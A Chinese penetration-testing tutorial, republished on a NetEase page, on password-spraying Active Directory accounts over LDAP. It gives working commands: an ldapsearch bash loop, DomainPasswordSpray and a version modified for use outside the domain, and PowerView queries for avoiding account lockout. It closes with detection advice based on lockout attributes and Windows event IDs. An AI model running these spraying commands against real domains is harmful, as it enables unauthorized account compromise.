网易首页 > 网易号 > 正文 申请入驻

渗透基础——通过LDAP协议暴力破解域用户的口令

0
分享至

在域渗透中,如果已经掌握了一些域用户的口令,通常会选择寻找口令规律,生成字典文件,尝试对其他域用户的口令进行暴力破解。

站在防御的角度,需要确保域用户没有使用存在规律的弱口令,也需要能够发现暴力破解域用户口令的行为。

本文将要分别介绍在域内和域外暴力破解域用户口令的常用方法,结合利用思路,介绍检测方法。

本文将要介绍以下内容:

·域内暴力破解域用户口令的方法

·域外暴力破解域用户口令的方法

·检测方法

多次口令输入错误会导致用户帐户被锁定,默认设置的错误次数为5

用户帐户被锁定后,默认需要等待30分钟才能恢复使用

最后一次口令输入错误的时间会被记录,无法通过修改LDAP数据进行清除,提示如下:

Error 0x209A Access to the attribute is not permitted because the attribute is owned by the Security Accounts Manager (SAM).

用户帐户被锁定后,即使输入正确的口令,也会提示口令错误。

1.获得域内用户的口令策略,避免账户被锁定

获取口令策略的详细方法可参考上篇文章《》

2.获得所有域用户的列表

获取的详细方法可参考之前的文章《》。

这里需要额外对用户的属性进行判断,去除被禁用和被锁定的用户。

(1)识别被禁用的用户

标识用户是否被禁用的位置位于userAccountControl属性中,具体的位置为0x0002。

如下图:

参考资料:

https://support.microsoft.com/en-us/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties

使用PowerView查看所有用户的ACCOUNTDISABLE属性,命令如下:

Get-NetUser | select name,useraccountcontrol

输出结果如下图:

查看指定用户ACCOUNTDISABLE属性的具体值,命令如下:

Get-NetUser test2| select useraccountcontrol | ConvertFrom-UACValue -ShowAll

输出结果如下图:

能够获得用户test2具有以下属性:

·ACCOUNTDISABLE

·NORMAL_ACCOUNT

·DONT_EXPIRE_PASSWORD

(2)识别被锁定的用户

虽然用户的ACCOUNTDISABLE属性中偏移0x0010处标记为LOCKOUT,如下图:

但这个位置的值并不能用来判断当前用户是否被锁定。

我们可以通过读取用户的badPwdCount属性和lockoutTime属性进行判断。

使用PowerView查看所有用户的badPwdCount属性和lockoutTime属性,命令如下:

Get-NetUser | select name,badPwdCount,lockoutTime

输出结果如下图:

很明显,可以发现用户testa处于被锁定的状态

3.使用DomainPasswordSpray进行口令爆破

地址:

https://github.com/dafthack/DomainPasswordSpray

原理:通过ADSI(ActiveDirectoryServicesInterface)(活动目录服务接口)尝试进行LDAP查询,获得结果

实例如下:

Invoke-DomainPasswordSpray -UserList .\users.txt -Password DomainUser123! -Verbose

输出结果如下图:

注:DomainPasswordSpray支持筛选用户的功能,获得所有用户的列表,排除被禁用和被锁定的用户。

命令如下:

Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts

我在我的测试环境(dc:Server2012R2)下这个功能出现bug,无法识别出被锁定的用户testa

如下图:

实际上用户testa的状态被锁定,如下图:

个人猜测产生bug的原因如下:

DomainPasswordSpray通过用户的ACCOUNTDISABLE属性中偏移0x0010处(标记为LOCKOUT)来判断用户是否被锁定,对应代码位置:https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1#L408

我的测试环境下得出的结论是不能通过这个值进行判断,正确的方法是通过badPwdCount属性和lockoutTime属性进行识别。

1.Kali系统通过ldapsearch暴力破解域用户口令

在之前的文章文章《渗透基础——活动目录信息的获取》介绍了kali系统下使用ldapsearch连接LDAP服务器的方法。

这里可以简单的加一个循环实现暴力破解,完整的bash命令如下:

for i in $(cat test.txt); do echo -e "\n$i";ldapsearch -x -H ldap://192.168.1.1:389 -D "CN="$i",CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" |grep "# numEntrie";done

test.txt保存所有用户名,如果口令正确,输出查询结果的个数,如果口令错误,返回验证错误:ldap_bind: Invalid credentials (49)

输出结果如下图:

成功暴力破解出用户testb的口令。

2.Windows系统通过Invoke-DomainPasswordSprayOutsideTheDomain暴力破解域用户口令

DomainPasswordSpray的功能比较完整,但不支持域外的使用,所以我在DomainPasswordSpray的基础上做了一些修改,使其支持域外的使用

具体修改的位置如下:

原版中修改LDAP查询的语句:

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)

$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)

$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName

替换为LDAP的查询语句,示例:"192.168.1.1/DC=test,DC=com"

最终的完整查询语句为:LDAP://192.168.1.1/DC=test,DC=com

由于是在域外进行暴力破解,无法获得域用户的口令策略,所以我移除了DomainPasswordSpray中获得口令策略的功能。

我已经将修改后的代码上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1

域外使用的示例命令如下:

Invoke-DomainPasswordSprayOutsideTheDomain -Domain "192.168.1.1/DC=test,DC=com" -UserList .\user.txt -Password DomainUser123! -Verbose

输出结果如下图:

1.域内暴力破解域用户口令

流程如下:

(1)获得域内用户的口令策略

根据lockoutThreshold的数值决定尝试的次数,避免帐户被锁定。

(2)获得域用户列表

列出所有域用户后,需要对用户的属性进行判断,去除被禁用和被锁定的用户。

(3)尝试破解

2.域外暴力破解域用户口令

如果已经获得了一个用户的口令,那么可以先读取域内用户的口令策略和用户列表,方法同上。

如果没有任何用户的口令,只能进行盲目的尝试。

域用户属性中的lastbadpasswordattempt能够记录上次口令输入错误的登陆时间,这可以作为识别暴力破解攻击的依据。

badPwdCount属性会记录用户口令错误的次数,但是用户输入正确的口令后,这个属性会被清零,无法作为判断的依据。

如果攻击者从域内发起攻击,那么攻击者已经掌握了域内用户的口令策略和用户列表,站在防御的角度,需要确保域内用户的口令不存在规律,避免多个用户使用同一口令的情况。

日志(4625 - An account failed to log on)能够记录登录失败的事件,例如Kali系统通过ldapsearch暴力破解域用户口令时产生的日志如下图

使用kerbrute进行暴力破解不会产生日志(4625 - An account failed to log on),但是可以通过日志(4768 - A Kerberos authentication ticket (TGT) was requested和4771 - Kerberos pre-authentication failed)记录。

本文分别介绍了在域内和域外暴力破解域用户口令的常用方法,介绍了我在测试DomainPasswordSpray时发现的一个bug(需要在更多的环境进行测试),基于DomainPasswordSpray实现了域外暴力破解,结合利用思路,介绍检测方法。

本文为 3gstudent 原创稿件,授权嘶吼独家发布

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
乌专家:中国“吸干”苏联遗产,我们图纸都没看懂,他们造出2.0

乌专家:中国“吸干”苏联遗产,我们图纸都没看懂,他们造出2.0

博览历史
2025-12-29 19:26:45
钱再多有什么用,64岁郎平如今的现状,给所有运动员们提了个醒

钱再多有什么用,64岁郎平如今的现状,给所有运动员们提了个醒

涵豆说娱
2025-12-10 16:49:41
1988年四川白岩沟那一战,1516人围攻2名逃兵,打了3天3夜,最后只拖出两具烧焦的黑炭

1988年四川白岩沟那一战,1516人围攻2名逃兵,打了3天3夜,最后只拖出两具烧焦的黑炭

史海孤雁
2026-01-13 23:29:17
28岁回国养老!巴西国脚冬窗逃离英超 曼城曾差点签下他

28岁回国养老!巴西国脚冬窗逃离英超 曼城曾差点签下他

球事百科吖
2026-01-15 04:35:17
希金斯谈赵心童:他的球风观赏性十足,离顶尖球员还差一点火候!

希金斯谈赵心童:他的球风观赏性十足,离顶尖球员还差一点火候!

夜深聊球
2026-01-15 21:26:35
“耄耋耆耈”这四个字你认识吗?是什么意思呢?读错小心闹笑话

“耄耋耆耈”这四个字你认识吗?是什么意思呢?读错小心闹笑话

长风文史
2026-01-14 11:40:58
一滴也别喝!科学家调查发现,2020年全球有74万人因饮酒患癌

一滴也别喝!科学家调查发现,2020年全球有74万人因饮酒患癌

蜉蝣说
2026-01-15 10:50:10
大涨!马年币钞还有1次预约,每人10张!

大涨!马年币钞还有1次预约,每人10张!

天天纪念币
2026-01-15 10:06:58
你是怎么发现好朋友家里很有钱的?看完网友分享,评论区笑麻了

你是怎么发现好朋友家里很有钱的?看完网友分享,评论区笑麻了

夜深爱杂谈
2026-01-14 19:31:52
“性萧条”才是这个时代真正的危机

“性萧条”才是这个时代真正的危机

深蓝夜读
2025-09-24 16:00:09
任天堂股价暴跌!为何索尼未收影响?专家分析来了

任天堂股价暴跌!为何索尼未收影响?专家分析来了

游民星空
2026-01-15 23:18:10
施小琳主持召开省政府第七次全体会议:奋发有为、真抓实干,以高质量发展实绩交出“十五五”开局优异答卷

施小琳主持召开省政府第七次全体会议:奋发有为、真抓实干,以高质量发展实绩交出“十五五”开局优异答卷

新浪财经
2026-01-15 21:08:38
云南省昆明市政府原市长刘佳晨等3人被提起公诉

云南省昆明市政府原市长刘佳晨等3人被提起公诉

界面新闻
2026-01-15 16:35:49
iPhone 18 Pro 和 iPhone 18 Pro Max 分别采用 6.3/6.9 英寸屏

iPhone 18 Pro 和 iPhone 18 Pro Max 分别采用 6.3/6.9 英寸屏

威锋网
2026-01-15 20:06:09
丢人丢到国外了?丰城万人杀猪饭大翻车,举办者回应曝真相!

丢人丢到国外了?丰城万人杀猪饭大翻车,举办者回应曝真相!

古希腊掌管月桂的神
2026-01-14 22:28:10
新冠病毒3大结局已经不可避免,60岁以上的老年人尤其要注意

新冠病毒3大结局已经不可避免,60岁以上的老年人尤其要注意

医护健康科普
2025-08-31 17:07:58
北区项目正式开工!深圳再添一世界级地标!

北区项目正式开工!深圳再添一世界级地标!

深圳本地宝
2026-01-15 13:12:10
李在明刚到日本,韩国就传出涉台恶语,惊动我驻韩使馆,强调8字

李在明刚到日本,韩国就传出涉台恶语,惊动我驻韩使馆,强调8字

阿柒的讯
2026-01-14 19:26:09
C929客机有多大?与C919放一起才明白,为何能称干线客机

C929客机有多大?与C919放一起才明白,为何能称干线客机

花寒弦絮
2026-01-01 19:07:45
两次拒绝黎明,无视钟汉良示爱,被折磨20年后55岁的她憔悴成大妈

两次拒绝黎明,无视钟汉良示爱,被折磨20年后55岁的她憔悴成大妈

青史楼兰
2025-12-29 10:12:14
2026-01-16 00:15:00
嘶吼RoarTalk incentive-icons
嘶吼RoarTalk
不一样的互联网安全新视界
8127文章数 10545关注度
往期回顾 全部

科技要闻

阿里最狠的一次“自我革命”

头条要闻

柬埔寨副首相放话:特朗普让我们醒悟 不能只依靠中国

头条要闻

柬埔寨副首相放话:特朗普让我们醒悟 不能只依靠中国

体育要闻

聂卫平:黑白棋盘上的凡人棋圣

娱乐要闻

92岁陶玉玲去世,冯远征曹可凡悼念

财经要闻

央行再次结构性降息0.25个百分点

汽车要闻

吉利帝豪/缤越推冠军一口价 起售价4.88万

态度原创

房产
本地
数码
手机
公开课

房产要闻

突发!商业用房购房贷款最低首付比例下调至30%

本地新闻

云游内蒙|黄沙与碧波撞色,乌海天生会“混搭”

数码要闻

华硕停产英伟达GeForce RTX 5070 Ti 16GB / 5060 Ti 16GB显卡

手机要闻

红魔高管预热新机:所有跟进风扇的友商都欠红魔一句感谢

公开课

李玫瑾:为什么性格比能力更重要?

无障碍浏览 进入关怀版